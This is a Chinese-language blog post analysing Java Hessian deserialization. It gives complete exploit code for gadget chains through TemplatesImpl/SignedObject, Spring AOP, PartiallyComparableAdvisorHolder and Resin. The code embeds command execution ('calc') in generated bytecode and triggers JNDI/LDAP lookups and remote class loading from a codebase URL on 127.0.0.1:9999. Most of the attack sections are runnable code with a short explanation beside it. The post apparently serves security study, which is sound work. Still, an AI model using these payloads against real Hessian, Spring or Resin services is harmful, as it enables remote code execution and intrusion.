Java反序列化链子分析-3

文章目录

  • 前言
  • Hessian反序列化
    • TemplatesImpl
    • Spring AOP
    • PartiallyComparableAdvisorHolder
    • Resin


前言

续接之前那篇Java反序列化-2的文章。

Hessian反序列化

Hessian是一种用于远程调用的二进制协议。它被广泛用于构建分布式系统中的跨平台通信,特别适用于Java语言,基于RPC协议,用于远程服务的调用。

Hessian可以将Java对象序列化为二进制数据,并通过网络传输到远程系统,然后将二进制数据反序列化为远程系统可以理解的对象。通过使用二进制格式,Hessian可以提供更高效的数据传输和更低的网络开销,相对于文本协议(如XML或JSON)而言。

Hessian支持各种Java基本类型和复杂对象的序列化和反序列化。它还提供了一种简单的方式定义服务接口和实现远程方法调用。因此,开发人员可以使用Hessian来构建基于Java的分布式系统,同时获得更高的性能和更好的跨平台兼容性。

Hessian是基于Field机制来进行反序列化的,就是通过一些特殊的方法或者反射,直接对Field进行赋值,这与Jackson调用getter、setter是不同的,这种机制相对于基于Bean机制的攻击面要小,因为它们自动调用的方法要少。

以下是一些基于Field机制进行反序列化的类:

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream

下面是对Hessian反序列化进行简单的流程分析:

        <dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency>
  1. HessianInput#readObject中,它会通过一个Tag来决定后面的操作,而Hessian序列化是处理成Map的形式,所以code的第一个总是77,也就是对应着M的操作,在readType()中,它会遍历读取反序列化传入的字节数组,读取一定的长度转成字符后存入了_sbuf中,再经过toString()转换成字符串,返回该类的完整路径,比如说com.example.Hessian.User
public Object readObject()throws IOException{int tag = read();switch (tag) {case 'N':return null;case 'T':return Boolean.valueOf(true);case 'F':return Boolean.valueOf(false);case 'I':return Integer.valueOf(parseInt());case 'L':return Long.valueOf(parseLong());case 'D':return Double.valueOf(parseDouble());case 'd':return new Date(parseLong());case 'x':case 'X': {_isLastChunk = tag == 'X';_chunkLength = (read() << 8) + read();return parseXML();}case 's':case 'S': {_isLastChunk = tag == 'S';_chunkLength = (read() << 8) + read();int data;_sbuf.setLength(0);while ((data = parseChar()) >= 0)_sbuf.append((char) data);return _sbuf.toString();}case 'b':case 'B': {_isLastChunk = tag == 'B';_chunkLength = (read() << 8) + read();int data;ByteArrayOutputStream bos = new ByteArrayOutputStream();while ((data = parseByte()) >= 0)bos.write(data);return bos.toByteArray();}case 'V': {String type = readType();int length = readLength();return _serializerFactory.readList(this, length, type);}case 'M': {String type = readType();return _serializerFactory.readMap(this, type);}case 'R': {int ref = parseInt();return _refs.get(ref);}case 'r': {String type = readType();String url = readString();return resolveRemote(type, url);}default:throw error("unknown code for readObject at " + codeName(tag));}}
  1. 随后会进入到SerializerFactory#readMap中,会进入到getDeserializer方法获取反序列化器,如果获取不到,就会进入到_hashMapDeserializer.readMap中。
  public Object readMap(AbstractHessianInput in, String type)throws HessianProtocolException, IOException{Deserializer deserializer = getDeserializer(type);if (deserializer != null)return deserializer.readMap(in);else if (_hashMapDeserializer != null)return _hashMapDeserializer.readMap(in);else {_hashMapDeserializer = new MapDeserializer(HashMap.class);return _hashMapDeserializer.readMap(in);}}
  1. getDeserializer中,它会判断是否前面获取不到type,是则返回null,然后会从缓存中获取对应type的反序列化器,如果获取不到,会从_staticTypeMap中获取,都获取不到,则判断 type 是不是数组,是就根据数组基本类型来获取其 Deserializer,并创建 ArrayDeserializer 返回,否则尝试通过目标 typeclazz 形式来获取deserializer放到缓存里面。一般的类如果使用了不安全的Serializer,会获取到UnsafeDeserilize
  public Deserializer getDeserializer(String type)throws HessianProtocolException{if (type == null || type.equals(""))return null;Deserializer deserializer;if (_cachedTypeDeserializerMap != null) {synchronized (_cachedTypeDeserializerMap) {deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);}if (deserializer != null)return deserializer;}deserializer = (Deserializer) _staticTypeMap.get(type);if (deserializer != null)return deserializer;if (type.startsWith("[")) {Deserializer subDeserializer = getDeserializer(type.substring(1));if (subDeserializer != null)deserializer = new ArrayDeserializer(subDeserializer.getType());elsedeserializer = new ArrayDeserializer(Object.class);}else {try {//Class cl = Class.forName(type, false, getClassLoader());Class cl = loadSerializedClass(type);deserializer = getDeserializer(cl);} catch (Exception e) {log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e);log.log(Level.FINER, e.toString(), e);}}if (deserializer != null) {if (_cachedTypeDeserializerMap == null)_cachedTypeDeserializerMap = new HashMap(8);synchronized (_cachedTypeDeserializerMap) {_cachedTypeDeserializerMap.put(type, deserializer);}}return deserializer;}
  1. 进入到readMap后,会通过sun.misc.Unsafe#allocateInstance初始化一个空对象,然后再调用readMap
  public Object readMap(AbstractHessianInput in)throws IOException{try {Object obj = instantiate();return readMap(in, obj);} catch (IOException e) {throw e;} catch (RuntimeException e) {throw e;} catch (Exception e) {throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);}}
  1. 将它加入到引用当中,便于用引用来寻找值,然后通过while循环来对值进行恢复,会从_fieldMap中通过键获取对应的Deserializer,要注意的是这里不包含transient修饰的成员,再根据获取到的Deserializer进入到不同类的deserialize方法中,比如ObjectFieldDeserializer会进入ObjectFieldDeserializer#deserialize中,FieldDeserializer2中一共有14个unsafe的反序列化器。
public Object readMap(AbstractHessianInput in, Object obj)throws IOException{try {int ref = in.addRef(obj);while (! in.isEnd()) {Object key = in.readObject();FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);if (deser != null)deser.deserialize(in, obj);elsein.readObject();}in.readMapEnd();Object resolve = resolve(in, obj);if (obj != resolve)in.setRef(ref, resolve);return resolve;} catch (IOException e) {throw e;} catch (Exception e) {throw new IOExceptionWrapper(e);}}

在这里插入图片描述

  1. 进入到deserialize后,又会触发HessianInput#readObject进行反序列化。
    public void deserialize(AbstractHessianInput in, Object obj)throws IOException{Object value = null;try {value = in.readObject(_field.getType());_unsafe.putObject(obj, _offset, value);} catch (Exception e) {logDeserializeError(_field, obj, value, e);}}}
  1. 因为序列化成Map的形式,因此还是进入M中,获取到type会空后,会进入到MapDeserializer#readMap中。
  public Object readObject(Class cl)throws IOException{if (cl == null || cl == Object.class)return readObject();int tag = read();switch (tag) {case 'N':return null;case 'M':{String type = readType();if ("".equals(type)) {Deserializer reader;reader = _serializerFactory.getDeserializer(cl);return reader.readMap(this);}else {Deserializer reader;reader = _serializerFactory.getObjectDeserializer(type);return reader.readMap(this);}}case 'V':{String type = readType();int length = readLength();Deserializer reader;reader = _serializerFactory.getObjectDeserializer(type);if (cl != reader.getType() && cl.isAssignableFrom(reader.getType()))return reader.readList(this, length);reader = _serializerFactory.getDeserializer(cl);Object v = reader.readList(this, length);return v;}case 'R':{int ref = parseInt();return _refs.get(ref);}case 'r':{String type = readType();String url = readString();return resolveRemote(type, url);}}_peek = tag;Object value = _serializerFactory.getDeserializer(cl).readObject(this);return value;}
  1. MapDeserializer#readMap里面,会对map的类型进行判断,如果是Map则使用HashMapSortedMap则使用TreeMap(),接着进入了一个 while 循环,它会读取 key-value 的键值对并调用 put 方法,这里的put方法老生常谈了,会触发任意类的hashcode()方法,至此,只要是入口为hashCode都能够使用。
  public Object readMap(AbstractHessianInput in)throws IOException{Map map;if (_type == null)map = new HashMap();else if (_type.equals(Map.class))map = new HashMap();	//hashCode()、equals()else if (_type.equals(SortedMap.class))map = new TreeMap(); //触发compareTo()方法else {try {map = (Map) _ctor.newInstance();} catch (Exception e) {throw new IOExceptionWrapper(e);}}in.addRef(map);while (! in.isEnd()) {map.put(in.readObject(), in.readObject());}in.readEnd();return map;}

要使用Hessian条件如下:

  • kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
  • 利用链中调用的成员变量不能为 transient 修饰;
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。

Hessian中,有一个十分魔幻的地方,就是它支持反序列化任意类,并且无需实现Serializable接口,使得没有实现Serializable接口的类也可以序列化和反序列化,只需要将_isAllowNonSerializable=true即可,可以设置SerializerFactory#setAllowNonSerializable来赋值。

    public class SerializerFactory extends AbstractSerializerFactory {protected Serializer getDefaultSerializer(Class cl) {if (this._defaultSerializer != null) {return this._defaultSerializer;} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");} else {return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));}}}

TemplatesImpl

首先考虑一下动态字节码加载的打法,但是明显是不行的,因为TemplatesImpl中的_tfactory是一个transient,无法参与序列化与反序列化,因此可以采取二次反序列化的打法,就是上文的ROME中的SignedObject链。

调用链如下:

hessianinput.readObject()->hashmap.put()->EqualsBean.hashcode()->ToStringBean.toString()->SignedObject.getObject()->hashmap.readObject()->后面的利用链

exp如下:

package com.example.Hessian;import cn.hutool.core.lang.hash.Hash;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.example.jackson.TemplateImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;public class hessian_signobject {public static void main(String[] args) throws Exception {byte[] code =getTemplates();byte[][] codes={code};TemplatesImpl templates=new TemplatesImpl();setValue(templates,"_tfactory",new TransformerFactoryImpl());setValue(templates,"_name","Aiwin");setValue(templates,"_class",null);setValue(templates,"_bytecodes",codes);ToStringBean toStringBean=new ToStringBean(Templates.class,templates);EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");HashMap hashMap=new HashMap();hashMap.put(equalsBean,"aaa");setValue(equalsBean,"_beanClass",ToStringBean.class);setValue(equalsBean,"_obj",toStringBean);//SignedObjectKeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject);EqualsBean equalsBean_sign=new EqualsBean(String.class,"aiwin");HashMap hashMap_sign=new HashMap();hashMap_sign.put(equalsBean_sign,"aaa");setValue(equalsBean_sign,"_beanClass",ToStringBean.class);setValue(equalsBean_sign,"_obj",toStringBean_sign);String result=Hessian_serialize(hashMap_sign);Hessian_unserialize(result);}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {ClassPool classPool=ClassPool.getDefault();CtClass ctClass=classPool.makeClass("Test");ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));String block = "Runtime.getRuntime().exec(\"calc\");";ctClass.makeClassInitializer().insertBefore(block);return ctClass.toBytecode();}public static String Hessian_serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);hessianOutput.writeObject(object);return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());}public static void Hessian_unserialize(String obj) throws IOException {byte[] code=Base64.getDecoder().decode(obj);ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);HessianInput hessianInput=new HessianInput(byteArrayInputStream);hessianInput.readObject();}
}

同样JdbcRowSetImpl等常规链子也是可以的

Spring AOP

利用链

Hessian#readObject()->hashMap.putVal()->hotSwappableTargetSource#equals()->AbstractPointcutAdvisor#equals()->AbstractBeanFactoryPointcutAdvisor#getAdvice()SimpleJndiBeanFactory#getBean()->lookup()

在自己写这条链的时候,也是在不断的报错,因为发现它里面利用的很多类都没有继承Serializable接口,导致无法序列化和反序列化,并且似乎并没有找到绕过去的方式,包括SimpleJndiBeanFactory,后来看了一下marshalsec,后来才知道Hessian可以不需要继承序列化和反序列化的。

package com.example.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class springaop {public static void main(String[] args) throws Exception {String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();simpleJndiBeanFactory.setShareableResources(jndiUrl);//这里一定要设置,为了过Singleton()Class<?> AbstractBeanFactoryPointcutAdvisor = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();Field adviceBeanName = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("adviceBeanName");adviceBeanName.setAccessible(true);adviceBeanName.set(defaultBeanFactoryPointcutAdvisor, jndiUrl);Field beanFactory = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("beanFactory");beanFactory.setAccessible(true);beanFactory.set(defaultBeanFactoryPointcutAdvisor, simpleJndiBeanFactory);AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);HashMap hashMap = new HashMap();hashMap.put(hotSwappableTargetSource, "1");hashMap.put(hotSwappableTargetSource1, "2");setFieldValue(hotSwappableTargetSource,"target",defaultBeanFactoryPointcutAdvisor);setFieldValue(hotSwappableTargetSource1,"target",asyncAnnotationAdvisor);String result=Hessian_serialize(hashMap);Hessian_unserialize(result);}public static String Hessian_serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化serializerFactory.setAllowNonSerializable(true);hessianOutput.setSerializerFactory(serializerFactory);hessianOutput.writeObject(object);return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());}public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {byte[] code=Base64.getDecoder().decode(obj);ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);HessianInput hessianInput=new HessianInput(byteArrayInputStream);hessianInput.readObject();}public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Field dfield=object.getClass().getDeclaredField(field);dfield.setAccessible(true);dfield.set(object,value);}
}

简单解析:

SimpleJndiBeanFactory#getBean中存在能够调用lookup接口。在这里插入图片描述

这里仅需要初始化beanFactory=SimpleJndiBeanFactory,同时adviceBeanName可控,通过setShareableResources可过掉isSingleton判断即可触发getBean

在这里插入图片描述

AbstractPointcutAdvisor#equals方法中,存在可以触发getAdvice()的点,并且otherAdvice可控,至于equals可通过HashCode#puVal触发,整条链就串起来了。

在这里插入图片描述

PartiallyComparableAdvisorHolder

Hessian#readObject()->hashMap.putVal()->hotSwappableTargetSource#equals()->Xstring#equals()->PartiallyComparableAdvisorHolder#toString()->AspectJPointcutAdvisor#getOrder()->AbstractAspectJAdvice#getOrder()->BeanFactoryAspectInstanceFactory#getOrder()->SimpleJndiBeanFactory#getType()->SimpleJndiBeanFactory#doGetType()->SimpleJndiBeanFactory#doGetSingleton()->SimpleJndiBeanFactory#lookup()->JndiTemplate#lookup()

exp:

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";SimpleJndiBeanFactory simpleJndiBeanFactory=new SimpleJndiBeanFactory();simpleJndiBeanFactory.setShareableResources(jndiUrl);AspectInstanceFactory beanFactoryAspectInstanceFactory=createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);setFieldValue(beanFactoryAspectInstanceFactory,"beanFactory",simpleJndiBeanFactory);setFieldValue(beanFactoryAspectInstanceFactory,"name",jndiUrl);AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAfterAdvice.class);Class<?> abstractAspectJAdvice= Class.forName("org.springframework.aop.aspectj.AbstractAspectJAdvice");Field aspectInstanceFactory=abstractAspectJAdvice.getDeclaredField("aspectInstanceFactory");aspectInstanceFactory.setAccessible(true);aspectInstanceFactory.set(advice,beanFactoryAspectInstanceFactory);AspectJPointcutAdvisor aspectJPointcutAdvisor=createWithoutConstructor(AspectJPointcutAdvisor.class);setFieldValue(aspectJPointcutAdvisor,"advice",advice);Class<?> PartiallyComparableAdvisorHolder=Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object Partially=createWithoutConstructor(PartiallyComparableAdvisorHolder);setFieldValue(Partially,"advisor",aspectJPointcutAdvisor);HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("a"));HashMap hashMap = new HashMap();hashMap.put(hotSwappableTargetSource, "1");hashMap.put(hotSwappableTargetSource1, "2");setFieldValue(hotSwappableTargetSource,"target",Partially);String result=Hessian_serialize(hashMap);Hessian_unserialize(result);}

简单分析:

首先在SimpleJndiBeanFactory#doGetSingleton中存在lookup接口,在同一个类中SimpleJndiBeanFactory#getType()可以调用到doGetSingleton

在这里插入图片描述

BeanFactoryAspectInstanceFactory#getOrder()中,存在着可控beanFactory和name能够调用getType

在这里插入图片描述

AbstractAspectJAdvice#getOrder()能够调用BeanFactoryAspectInstanceFactory#getOrder(),因为aspectInstanceFactory是可控的,但是要注意这里是抽象类,要找子类都实例化传值。

在这里插入图片描述

AspectJPointcutAdvisor#getOrder()可以触发AbstractAspectJAdvice#getOrder(),只需要在构造函数初始化advice=AbstractAspectJAdvice

在这里插入图片描述

最后在AspectJAwareAdvisorAutoProxyCreator中找到子类PartiallyComparableAdvisorHolder#toString,可以调用AspectJPointcutAdvisor#getOrder(),然后toString()完全可以通过Xstring类来触发。

在这里插入图片描述

Resin

引入依赖,这里引入的依赖版本好像要正确,否则会报错显示com.caucho.Naming不存在,至于每个版本的对应,我也不清楚。:

        <dependency><groupId>com.caucho</groupId><artifactId>resin</artifactId><version>4.0.64</version></dependency>
Xstring#equals()->
Qname#toString()->
ContinuationContext#composeName()->
ContinuationContext#getTargetContext()->
NamingManager#getContext()->
NamingManager#getObjectInstance()->
NamingManager#getObjectFactoryFromReference()->
loadClass()

exp:

package com.example.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;import javax.naming.*;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;public class Resin {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {String codebase="http://127.0.0.1:9999/";String clazz="siJdcpuR";Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);ccCons.setAccessible(true);CannotProceedException cpe = new CannotProceedException();cpe.setResolvedObj(new Reference("siJdcpuR", clazz,codebase));Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());QName qName = new QName(ctx,"aiwin","aiwin1"); //_items要过for循环String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hashXString xString = new XString(unhash);HashMap<Object, Object> hashMap = new HashMap<>();setFieldValue(hashMap, "size", 2);Class<?> nodeC;nodeC = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));setFieldValue(hashMap, "table", tbl);String result=Hessian_serialize(hashMap);Hessian_unserialize(result);}private static void unhash0(StringBuilder partial, int target) {int div = target / 31;int rem = target % 31;if (div <= 65535) {if (div != 0)partial.append((char)div);partial.append((char)rem);} else {unhash0(partial, div);partial.append((char)rem);}}public static String unhash ( int hash ) {int target = hash;StringBuilder answer = new StringBuilder();if (target < 0) {answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if (target == Integer.MIN_VALUE)return answer.toString();target = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}public static String Hessian_serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);SerializerFactory serializerFactory=new SerializerFactory();serializerFactory.setAllowNonSerializable(true);hessianOutput.setSerializerFactory(serializerFactory);hessianOutput.writeObject(object);return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());}public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {byte[] code=Base64.getDecoder().decode(obj);ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);HessianInput hessianInput=new HessianInput(byteArrayInputStream);hessianInput.readObject();}public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Field dfield=object.getClass().getDeclaredField(field);dfield.setAccessible(true);dfield.set(object,value);}
}

简单分析:

漏洞的触发点在NamingManager#getObjectFactoryFromReference中,只需要控制Reference为恶意的factoryLocation即可通过loadClass加载类并在后面通过newInstance实例化,在NamingManager#getContext中可以直接触发这个方法。在这里插入图片描述

ContinuationContext#getTargetContext()中能够触发NamingManager.getContext(),前提是CannotProceedException#getResolvedObj()要有值,这个值就是后面要用到的Reference(),因为可以通过setResolvedObj()进去,要注意的是ContinuationContext是直接通过class修饰的,只能在同一个包中被访问,不能直接实例化,要通过反射进行构造。getTargetContext()在本类的composeName可触发。

在这里插入图片描述

Qname#toString()中可以触发composeName(),因为_context可以直接实例化控制,要过for循环需要往_items里面加数据即可。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/292612.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【JS】事件循环机制

一、JS单线程、异步、同步概念 众所周知&#xff0c;JS是单线程&#xff08;如果一个线程删DOM&#xff0c;一个线程增DOM&#xff0c;浏览器傻逼了&#xff5e;所以只能单着了&#xff09;&#xff0c;虽然有webworker酱紫的多线程出现&#xff0c;但也是在主线程的控制下。we…

京东tp26旋转验证

记录一下&#xff0c;狗东的tp26旋转验证码&#xff0c;难点还是在这个轨迹上。我真的是一点都不喜欢玩轨迹&#xff01;&#xff01;&#xff01;&#xff01; 类似于百度旋转的图&#xff0c;不过他这个东西还是稍微有点差距的。 鉴于生病了脑子不太好使&#xff0c;就不过多…

KBU808-ASEMI适配高端电源KBU808

编辑&#xff1a;ll KBU808-ASEMI适配高端电源KBU808 型号&#xff1a;KBU808 品牌&#xff1a;ASEMI 封装&#xff1a;KBU-4 最大平均正向电流&#xff1a;8A 最大重复峰值反向电压&#xff1a;800V 产品引线数量&#xff1a;4 产品内部芯片个数&#xff1a;4 产品内…

Docker概述及介绍

Docker是近年来新兴的虚拟化工具&#xff0c;它可以和虚拟机一样实现资源和系统环境的隔离。 库&#xff0c;然后再安装应用&#xff1b; Container(Docker容器)&#xff0c;在宿主机器、宿主机器操作系统上创建Docker引擎&#xff0c;在引擎的基础上再安装应用。 Docker三…

链表反转【思路】

链表反转 思路1. 将1->2->3->4->5这个链表中的2&#xff0c;3位置反转为1->3->2->4->52. 将1->2->3->4->5这个链表中的2&#xff0c;3&#xff0c;4位置反转为1->4->3->2->5思路总结 3. 将1->2反转为2->1 Java代码 将1-…

VM——计算流程执行耗时

1、计算同一个流程内的耗时&#xff0c;可以直接用“耗时统计”模块&#xff1b; 2、计算多个流程的运行耗时&#xff0c;需要使用“脚本”&#xff0c;利用C#函数计算耗时 首先&#xff0c;记录起始时间&#xff0c;保存到string类型的全局变量中&#xff0c; curTmStr Dat…

c++学习笔记-提高篇-STL标准模板库3(stack容器、queue容器以及list容器)

目录 Stack容器 一、Stack容器介绍 二、stack常用接口 三、栈的示例 queue&#xff08;队列&#xff09;容器 一、queue容器介绍 二、queue常用接口 三、queue示例 list容器 一、list容器介绍 二、list常用接口及示例 &#xff08;一&#xff09;list构造函数 &am…

HTML---盒子模型

文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 一.盒子模型概述 HTML中的盒子模型是一种用于描述和布局元素的概念。每个 HTML 元素都可以被表示为一个矩形的盒子&#xff0c;这个盒子包括四个部分&#xff1a;内容区域、内边距、边框和外边距…

【终极教程】Cocos2dx服务端重构(优化cocos2dx服务端)

文章目录 概述问题概述1. 代码混淆代码加密具体步骤测试和配置阶段IPA 重签名操作步骤2. 缺乏文档3. 缺乏推荐的最佳实践4. 性能问题 总结 概述 Cocos2dx是一个非常流行的跨平台游戏引擎&#xff0c;开发者可以使用这个引擎来开发iOS、Android和Web游戏。同时&#xff0c;Coco…

python的*和两个* *的区别,python中连续两个小于号

本篇文章给大家谈谈python两个等于号和一个等于号的区别&#xff0c;以及python为什么用两个等于号&#xff0c;希望对各位有所帮助&#xff0c;不要忘了收藏本站喔。 原帖地址见&#xff1a;[Python]-12-星号变量的特殊用法 在Python中&#xff0c;星号除了用于乘法数值运算和…

影响晶振频率稳定性的因素及解决方法

晶振作为电子设备中的核心元件&#xff0c;其频率稳定性对设备的性能和可靠性具有重要影响。晶发电子将介绍影响晶振频率稳定性的因素&#xff0c;并探讨相应的解决方法。 一、影响晶振频率稳定性的因素 频率&#xff1a;晶振的频率是影响其性能的最重要因素之一。在选择晶振…

Appearance-Motion Memory Consistency Network for Video Anomaly Detection 论文阅读

Appearance-Motion Memory Consistency Network for Video Anomaly Detection 论文阅读 AbstractIntroductionRelated WorkMethodExperimentsConclusions阅读总结 论文标题&#xff1a;Appearance-Motion Memory Consistency Network for Video Anomaly Detection 文章信息&am…